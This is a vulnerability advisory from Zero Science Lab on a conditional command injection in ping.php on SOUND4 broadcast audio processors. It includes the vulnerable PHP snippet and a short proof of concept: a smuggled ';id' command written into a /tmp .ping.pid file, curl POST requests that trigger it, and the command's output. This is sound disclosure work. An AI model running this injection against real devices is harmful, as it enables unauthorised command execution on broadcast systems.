Authored by LiquidWorm | Site zeroscience.mk

SOUND4 IMPACT/FIRST/PULSE/Eco version 2.x and below suffer from a conditional command injection vulnerability in ping.php.


SOUND4 IMPACT/FIRST/PULSE/Eco <=2.x (ping.php) Conditional Command Injection


Vendor: SOUND4 Ltd.
Product web page: https://www.sound4.com | https://www.sound4.biz
Affected version: FM/HD Radio Processing:
Impact/Pulse/First (Version 2: 1.1/2.15)
Impact/Pulse/First (Version 1: 2.1/1.69)
Impact/Pulse Eco 1.16
Voice Processing:
BigVoice4 1.2
BigVoice2 1.30
Web-Audio Streaming:
Stream 1.1/2.4.29
Watermarking:
WM2 (Kantar Media) 1.11

Summary: The SOUND4 IMPACT introduces an innovative process - mono and
stereo parts of the signal are processed separately to obtain perfect
consistency in terms of both sound and level. Therefore, in moving
reception, when the FM receiver switches from stereo to mono and back to
stereo, the sound variations and changes in level are reduced by over 90%.
In the SOUND4 IMPACT processing chain, the stereo expander can be used
substantially without any limitations.

With its advanced functionalities and impressive versatility, SOUND4
PULSE gives clients the ultimate price - performance ratio, providing
much more than just a processor. Flexible and powerful, it ensures perfect
sound quality and full compatibility with radio broadcasting standards
and can be used simultaneously for FM and HD, DAB, DRM or streaming.

SOUND4 FIRST provides all the most important functionalities you need
in an FM/HD processor and sets the bar high both in terms of performance
and affordability. Designed to deliver a sound of uncompromising quality,
this tool gives you 2-band processing, a digital stereo generator and an
IMPACT Clipper.

Desc: This vulnerability allows a local authenticated user to create a
file in the /tmp directory that contains malicious commands. The file
must have the filename ending with .ping.pid, and the commands in the
file can only be executed once by an external unauthenticated attacker.
By calling the vulnerable script and making a single HTTP POST request,
the attacker can gain command execution on the system. After the request
is made, the file containing the malicious commands will be deleted.

-------------------------------------------------------------------------
/var/www/ping.php:
------------------
02: if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['ping_host']) && isset($_POST['networkid'])) {
03: $pidfilename="/tmp/" . $_POST['networkid'] . ".ping.pid";
04: if( file_exists($pidfilename)) {
05: $procid=file_get_contents($pidfilename);
06: shell_exec("pkill -P ".$procid);
07: }
...
...
29: unlink($pidfilename);
30: exit();
-------------------------------------------------------------------------

Tested on: Apache/2.4.25 (Unix)
OpenSSL/1.0.2k
PHP/7.1.1
GNU/Linux 5.10.43 (armv7l)
GNU/Linux 4.9.228 (armv7l)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience


Advisory ID: ZSL-2022-5735
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5735.php


26.09.2022

--


#On the server
> echo ";id>/var/www/b" > /tmp/251.ping.pid

#External
> curl -XPOST -sk https://RADIO/ping.php --data "ping_host=r00t&networkid=251"
> curl -XPOST -sk https://RADIO/b
uid=33(www-data) gid=33(www-data) groups=29(audio),33(www-data)